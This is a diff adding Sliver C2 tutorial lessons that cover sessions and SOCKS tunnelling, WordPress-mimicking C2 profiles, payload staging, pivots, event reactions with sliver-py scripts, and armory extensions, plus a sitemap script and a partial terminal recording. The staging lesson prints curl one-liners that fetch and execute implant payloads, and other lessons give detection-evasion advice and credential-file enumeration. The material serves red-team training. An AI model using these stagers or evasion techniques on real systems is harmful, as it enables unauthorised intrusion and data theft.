Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
|
||||
|
||||
Let’s switch to our newly created session and spin-up a `socks5` proxy.
|
||||
|
||||
```bash
|
||||
|
||||
[server] sliver (TIRED_GIRAFFE) > use
|
||||
|
||||
? Select a session or beacon: SESSION 131a60b9 TIRED_GIRAFFE 127.0.0.1:51969 tester.local tester darwin/amd64
|
||||
[*] Active session TIRED_GIRAFFE (131a60b9-db4f-4913-9064-18a17a0f09ab)
|
||||
|
||||
[server] sliver (TIRED_GIRAFFE) > socks5 start
|
||||
|
||||
[*] Started SOCKS5 127.0.0.1 1081
|
||||
⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
|
||||
```
|
||||
|
||||
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
|
||||
|
||||
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.
|
||||
@@ -0,0 +1,31 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
|
||||
|
||||
For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
|
||||
|
||||
C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.
|
||||
|
||||
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
|
||||
|
||||
Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
|
||||
We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.
|
||||
|
||||
We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
|
||||
|
||||
You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile.
|
||||
|
||||
At this point we can generate a new implant using our new profile.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/implant_custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
If we review the debug logs of our implant we can see that the connections now use our new profile.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/implant_debug_logs.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Ideally during engagements your recon phase should inform your C2 infrastructure, reusing similar hosting providers, technologies and communication protocols can help your implant fly under the radar.
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command.
|
||||
|
||||
For this exercise, we will create a new beacon profile and prepare to stage it.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
|
||||
```
|
||||
https://sliver-ip/definitely/not/malware?x=yourID
|
||||
```
|
||||
|
||||
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
|
||||
* There has to be http url parameter containing the implant ID
|
||||
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
|
||||
|
||||
To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
At this point we can try retrieving our implant. The ID is 19778.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
A simple stager could look like this, for example in Linux:
|
||||
|
||||
```
|
||||
curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehere
|
||||
```
|
||||
|
||||
Or on Windows:
|
||||
```
|
||||
curl http://172.20.10.3/test.woff?a=29178 -o t.exe && .\t.exe
|
||||
```
|
||||
@@ -0,0 +1,58 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.
|
||||
|
||||
Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.
|
||||
|
||||
In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener.
|
||||
|
||||
```bash
|
||||
[server] sliver (INNER_GO-KART) > pivots tcp
|
||||
|
||||
[*] Started tcp pivot listener :9898 with id 1
|
||||
|
||||
[server] sliver (INNER_GO-KART) > pivots
|
||||
|
||||
ID Protocol Bind Address Number Of Pivots
|
||||
==== ========== ============== ==================
|
||||
1 TCP :9898 0
|
||||
```
|
||||
|
||||
The listening port and interface can be configured during creation.
|
||||
|
||||
The next step is to generate a payload that will connect to our listener.
|
||||
|
||||
```bash
|
||||
[server] sliver (INNER_GO-KART) > generate --tcp-pivot 127.0.0.1 --os macos
|
||||
|
||||
[*] Generating new darwin/amd64 implant binary
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Build completed in 12s
|
||||
[*] Implant saved to /Users/tester/tools/VALUABLE_SICK
|
||||
```
|
||||
|
||||
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
As mentionned before named pipe pivots use a similar process, first you need to create a listener:
|
||||
|
||||
```bash
|
||||
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
|
||||
|
||||
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
|
||||
|
||||
```
|
||||
|
||||
You can then generate an implant connecting to it
|
||||
|
||||
```bash
|
||||
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
|
||||
|
||||
[*] Generating new windows/amd64 implant binary
|
||||
[*] Build completed in 1s
|
||||
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
|
||||
```
|
||||
|
||||
@@ -0,0 +1,220 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.
|
||||
|
||||
```bash
|
||||
Reactable Events:
|
||||
session-connected Triggered when a new session is opened to a target
|
||||
session-updated Triggered on changes to session metadata
|
||||
session-disconnected Triggered when a session is closed (for any reason)
|
||||
canary Triggered when a canary is burned or created
|
||||
watchtower Triggered when implants are discovered on threat intel platforms
|
||||
loot-added Triggered when a new piece of loot is added to the server
|
||||
loot-removed Triggered when a piece of loot is removed from the server
|
||||
```
|
||||
|
||||
Let’s go ahead and create a reaction to list the current directory and environment variables when a new session checks in.
|
||||
|
||||
```bash
|
||||
reaction set -e "session-connected"
|
||||
|
||||
[*] Setting reaction to: Session Opened
|
||||
|
||||
? Enter commands: [Enter 2 empty lines to finish]pwd
|
||||
env
|
||||
? Enter commands:
|
||||
pwd
|
||||
env
|
||||
|
||||
[*] Set reaction to session-connected (id: 1)
|
||||
```
|
||||
|
||||
The reaction is now set, if you spin up a new session these commands will be automatically run on that session’s initial connection.
|
||||
|
||||
```bash
|
||||
[*] Session 99c7a639 UNEXPECTED_PORTER - 127.0.0.1:59966 (test.local) - darwin/amd64 - Thu, 04 May 2023 09:04:58 CEST
|
||||
|
||||
[*] Execute reaction: 'pwd'
|
||||
|
||||
[*] /Users/tester
|
||||
|
||||
[*] Execute reaction: 'env'
|
||||
|
||||
PWD=/Users/tester
|
||||
COLORTERM=truecolor
|
||||
...
|
||||
```
|
||||
|
||||
You can remove reactions using `reaction unset`.
|
||||
|
||||
However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running.
|
||||
|
||||
Secondly reactions are a relatively basic mechanism, you can’t use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which we’ll cover next.
|
||||
|
||||
## Sliver-py
|
||||
|
||||
For the purposes of this tutorial we’ll write our extensions using Python3, however the same result is achievable using Typescript, Golang or any other language that can handle gRPC.
|
||||
|
||||
First, install the sliver-py extension using pip.
|
||||
|
||||
```bash
|
||||
pip3 install sliver-py
|
||||
```
|
||||
|
||||
Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile
|
||||
|
||||
```bash
|
||||
[server] sliver > multiplayer
|
||||
|
||||
[*] Multiplayer mode enabled!
|
||||
|
||||
[server] sliver > new-operator -n tester -l 127.0.0.1
|
||||
|
||||
[*] Generating new client certificate, please wait ...
|
||||
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg
|
||||
```
|
||||
|
||||
We now have everything we need to start writing our scripts, let’s run our first example interactively in a Python shell.
|
||||
We first need to import a few dependencies, `SliverClientConfig`, which is used to parse the client config we’ve just created, and `SliverClient`, which will handle the connection to the backend server.
|
||||
|
||||
```bash
|
||||
Python 3.9.16 (main, Dec 7 2022, 10:06:04)
|
||||
Type 'copyright', 'credits' or 'license' for more information
|
||||
IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help.
|
||||
|
||||
In [1]: from sliver import SliverClientConfig, SliverClient
|
||||
|
||||
In [2]: DEFAULT_CONFIG = "/Users/tester/tools/tester_127.0.0.1.cfg"
|
||||
|
||||
In [3]: config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
|
||||
|
||||
In [4]: client = SliverClient(config)
|
||||
|
||||
In [5]: await client.connect()
|
||||
Out[5]:
|
||||
Major: 1
|
||||
Minor: 5
|
||||
Patch: 37
|
||||
Commit: "0a43dc688ffb31a0a38511c47e8547a44a6918d4"
|
||||
CompiledAt: 1681408237
|
||||
OS: "darwin"
|
||||
Arch: "arm64"
|
||||
```
|
||||
|
||||
From this point on we can use the client object to interact with the server, let’s start with listing any sessions or beacons that might be currently connected.
|
||||
|
||||
```bash
|
||||
In [6]: beacons = await client.beacons()
|
||||
|
||||
In [7]: sessions = await client.sessions()
|
||||
|
||||
In [8]: beacons
|
||||
Out[8]: []
|
||||
|
||||
In [9]: sessions
|
||||
Out[9]:
|
||||
[ID: "f80ec897-0870-4f03-a1b1-364e5a0d243c"
|
||||
Name: "UNEXPECTED_PORTER"
|
||||
Hostname: "test.local"
|
||||
UUID: "c6de1a44-016a-5fbe-b76a-da56af41316d"
|
||||
Username: "tester"
|
||||
UID: "501"
|
||||
GID: "20"
|
||||
OS: "darwin"
|
||||
Arch: "amd64"
|
||||
Transport: "http(s)"
|
||||
RemoteAddress: "127.0.0.1:60218"
|
||||
PID: 74773
|
||||
Filename: "/Users/tester/tools/UNEXPECTED_PORTER"
|
||||
LastCheckin: 1683185925
|
||||
ActiveC2: "http://127.0.0.1"
|
||||
ReconnectInterval: 60000000000
|
||||
PeerID: 4416183373589698218
|
||||
FirstContact: 1683185429]
|
||||
```
|
||||
|
||||
To run commands on this session you’ll need to create an InteractiveSession object.
|
||||
|
||||
```bash
|
||||
In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")
|
||||
|
||||
In [11]: await interact.pwd()
|
||||
Out[11]: Path: "/Users/tester"
|
||||
```
|
||||
|
||||
Now that we’ve got the basics of connecting to sliver and running commands down let’s write a more useful script that will display the hosts file when a new session checks in. Our goal is to first identify the Operating System, and then based on that retrieve and display the contents of the hosts file if it exists. Because this script will wait and react to events emitted by the Sliver server, we’re going to use `asyncio` to write our client.
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import asyncio
|
||||
from sliver import SliverClientConfig, SliverClient
|
||||
import gzip
|
||||
|
||||
DEFAULT_CONFIG = "/Users/tester/tools/neo_127.0.0.1.cfg"
|
||||
|
||||
async def main():
|
||||
''' Client connect example '''
|
||||
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
|
||||
client = SliverClient(config)
|
||||
await client.connect()
|
||||
|
||||
async for event in client.on('session-connected'):
|
||||
print('Session %s just connected !' % event.Session.ID)
|
||||
|
||||
if __name__ == '__main__':
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(main())
|
||||
```
|
||||
|
||||
As shown above we can access the session object through `event.Session`. Let’s go ahead and add a few conditions based on the operating system.
|
||||
|
||||
```bash
|
||||
if event.Session.OS == "darwin":
|
||||
print('Session is running on macOS')
|
||||
|
||||
elif event.Session.OS == "Linux":
|
||||
print('Session is running on Linux')
|
||||
elif event.Session.OS == "Windows"
|
||||
print('Session is running on Windows')
|
||||
else:
|
||||
print('Session is running on %s', event.Session.OS)
|
||||
```
|
||||
|
||||
Let’s set up an InteractiveSession object like previously.
|
||||
|
||||
```bash
|
||||
interact = await client.interact_session(event.Session.ID)
|
||||
```
|
||||
|
||||
We’re going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.
|
||||
|
||||
```bash
|
||||
file_listing = await interact.ls("/etc/hosts")
|
||||
if file_listing.Exists:
|
||||
gzipFile = await interact.download("/etc/hosts")
|
||||
contents = gzip.decompress(gzipFile.Data)
|
||||
print('%r' % contents)
|
||||
```
|
||||
|
||||
The code for Windows is relatively similar the only major difference being the file location.
|
||||
|
||||
```bash
|
||||
file_listing = await interact.ls("C:/Windows/System32/drivers/etc/hosts")
|
||||
if file_listing.Exists:
|
||||
gzipFile = await interact.download("C:/Windows/System32/drivers/etc/hosts")
|
||||
contents = gzip.decompress(gzipFile.Data)
|
||||
print('%r' % contents)
|
||||
```
|
||||
|
||||
If we run our script and spin up a few sessions we should start to see hosts files being retrieved.
|
||||
|
||||
```bash
|
||||
python3.11 autocat.py
|
||||
Automatically interacting with session 16338c85-b670-44ab-ac83-2df885654b07
|
||||
b"# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# ...
|
||||
|
||||
Automatically interacting with session 93fcbab2-f00d-44a4-944a-e1ea8ec324e2
|
||||
b'##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1...
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date.
|
||||
|
||||
You can download all configured extensions/aliases using the armory command.
|
||||
|
||||
```bash
|
||||
[server] sliver > armory install all
|
||||
? Install 18 aliases and 84 extensions? Yes
|
||||
[*] Installing alias 'SharpSecDump' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpChrome' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpDPAPI' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpMapExec' (v0.0.1) ... done!
|
||||
[*] Installing alias 'KrbRelayUp' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpRDP' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpUp' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharpView' (v0.0.1) ... done!
|
||||
[*] Installing alias 'SharPersist' (v0.0.1) ... done!
|
||||
[*] Installing alias 'Sharp WMI' (v0.0.2) ... done!
|
||||
...
|
||||
[*] All packages installed
|
||||
```
|
||||
|
||||
These commands can then be used in the context of a session or beacon similarly to other commands, with a couple caveats.
|
||||
|
||||
Let’s go ahead and run our first assembly.
|
||||
|
||||
```bash
|
||||
[server] sliver (UNABLE_PRIDE) > seatbelt " WindowsCredentialFiles"
|
||||
|
||||
[*] seatbelt output:
|
||||
|
||||
%&&@@@&&
|
||||
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
|
||||
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
|
||||
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
|
||||
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
|
||||
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
|
||||
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
|
||||
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
|
||||
#####%###################### %%%.. @////(((&%%%%%%%################
|
||||
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
|
||||
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
|
||||
#%%%%##,
|
||||
|
||||
====== WindowsCredentialFiles ======
|
||||
|
||||
Folder : C:\Users\defaultuser0\AppData\Local\Microsoft\Credentials\
|
||||
|
||||
...
|
||||
```
|
||||
|
||||
As you can see Sliver ran the Seatbelt assembly and provided us with the output of our command.
|
||||
|
||||
## Bof’s
|
||||
|
||||
Beacon object files are loaded using trustedsec’s coffloader. When you run a bof command the loader will first be loaded into memory and is used to run whichever bof you choose. From an operator’s perspective bof’s are similar to basic sliver commands.
|
||||
|
||||
```bash
|
||||
[server] sliver (UNABLE_PRIDE) > sa-whoami
|
||||
|
||||
[*] Successfully executed sa-whoami (coff-loader)
|
||||
[*] Got output:
|
||||
|
||||
UserName SID
|
||||
====================== ====================================
|
||||
test.local\tester
|
||||
|
||||
GROUP INFORMATION Type SID Attributes
|
||||
================================================= ===================== ============================================= ==================================================
|
||||
test.local\None Group S-1-5-21-3109228153-3872411817-1195593578-513 Mandatory group, Enabled by default, Enabled group,
|
||||
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\Local account and member of Administrators groupWell-known group S-1-5-114
|
||||
BUILTIN\Administrators Alias S-1-5-32-544
|
||||
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group,
|
||||
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
|
||||
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group,
|
||||
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
|
||||
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group,
|
||||
Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,
|
||||
|
||||
Privilege Name Description State
|
||||
============================= ================================================= ===========================
|
||||
SeShutdownPrivilege Shut down the system Disabled
|
||||
SeChangeNotifyPrivilege Bypass traverse checking Enabled
|
||||
SeUndockPrivilege Remove computer from docking station Disabled
|
||||
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
|
||||
SeTimeZonePrivilege Change the time zone Disabled
|
||||
```
|
||||
|
||||
Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant.
|
||||
@@ -0,0 +1,25 @@
|
||||
const fs = require('fs/promises');
|
||||
const path = require('path');
|
||||
|
||||
const workingDirectory = process.cwd();
|
||||
const directoryPath = `${workingDirectory}/pages/tutorials/md`;
|
||||
|
||||
async function generateSiteMap() {
|
||||
const ls = await fs.readdir(directoryPath);
|
||||
const files = ls.filter((file) => file.endsWith('.md'));
|
||||
const tutorials = [];
|
||||
for (const file of files) {
|
||||
const filePath = path.join(directoryPath, file);
|
||||
const fileContent = await fs.readFile(filePath, 'utf8');
|
||||
const name = path.basename(file).replace('.md', '');
|
||||
tutorials.push({
|
||||
name: name,
|
||||
content: fileContent,
|
||||
});
|
||||
};
|
||||
return {tutorials: tutorials};
|
||||
}
|
||||
|
||||
generateSiteMap().then(async (sitemap) => {
|
||||
await fs.writeFile(`${workingDirectory}/public/tutorials.json`, JSON.stringify(sitemap));
|
||||
});
|
||||
@@ -0,0 +1,527 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714588161, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.132264, "o", "\u001b[?2004h"]
|
||||
[0.140303, "o", "root@98df0494f659:~# "]
|
||||
[0.525856, "o", "."]
|
||||
[0.571373, "o", "/"]
|
||||
[0.677428, "o", "s"]
|
||||
[0.80137, "o", "l"]
|
||||
[0.900872, "o", "i"]
|
||||
[1.067898, "o", "v"]
|
||||
[1.193122, "o", "e"]
|
||||
[1.279315, "o", "r"]
|
||||
[1.36486, "o", "-"]
|
||||
[1.709238, "o", "s"]
|
||||
[1.754379, "o", "e"]
|
||||
[1.807274, "o", "r"]
|
||||
[2.019023, "o", "v"]
|
||||
[2.17738, "o", "e"]
|
||||
[2.269213, "o", "r"]
|
||||
[2.382114, "o", "\r\n"]
|
||||
[2.388885, "o", "\u001b[?2004l\r"]
|
||||
[3.468332, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dethrone\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m"]
|
||||
[3.469064, "o", "\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.47244, "o", "\r\n"]
|
||||
[3.497313, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.498826, "o", "\u001b[1 q"]
|
||||
[3.501024, "o", "\u001b[?25l"]
|
||||
[3.501556, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.5023, "o", "\u001b[6n"]
|
||||
[3.50417, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.50457, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[3.505001, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[4.278164, "o", "\u001b[?25l\u001b[107D"]
|
||||
[4.281806, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.28757, "o", "g\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.288095, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[4.340884, "o", "\u001b[?25l\u001b[107D"]
|
||||
[4.341643, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.344387, "o", "ge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[4.345112, "o", "\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[4.484076, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.4852, "o", "\u001b[6n"]
|
||||
[4.493927, "o", "gen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C"]
|
||||
[4.49515, "o", "\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[4.58054, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.589765, "o", "gene\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[4.589973, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[4.679829, "o", "\u001b[?25l"]
|
||||
[4.682549, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.688126, "o", "gener\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[14D\u001b[9C\u001b[107D\u001b[14C\u001b[?25h"]
|
||||
[4.781929, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.788173, "o", "genera\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.789433, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[15D\u001b[9C\u001b[107D\u001b[15C\u001b[?25h"]
|
||||
[4.917404, "o", "\u001b[?25l\u001b[107D"]
|
||||
[4.918266, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.925373, "o", "generat\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.926998, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[16D\u001b[9C\u001b[107D\u001b[16C\u001b[?25h"]
|
||||
[4.955793, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.95674, "o", "\u001b[6n"]
|
||||
[4.961588, "o", "\u001b[1m\u001b[32mgenerate\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[4.962458, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[17D\u001b[9C\u001b[107D\u001b[17C\u001b[?25h"]
|
||||
[5.002059, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.00474, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.005424, "o", "\u001b[107D\u001b[1A\u001b[18D\u001b[9C\u001b[107D\u001b[18C\u001b[?25h"]
|
||||
[5.302176, "o", "\u001b[?25l"]
|
||||
[5.31184, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.318248, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mb\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.321166, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[19D\u001b[9C\u001b[107D\u001b[19C\u001b[?25h"]
|
||||
[5.357574, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.35804, "o", "\u001b[6n"]
|
||||
[5.36021, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.360917, "o", "\u001b[107D\u001b[1A\u001b[20D\u001b[9C\u001b[107D\u001b[20C\u001b[?25h"]
|
||||
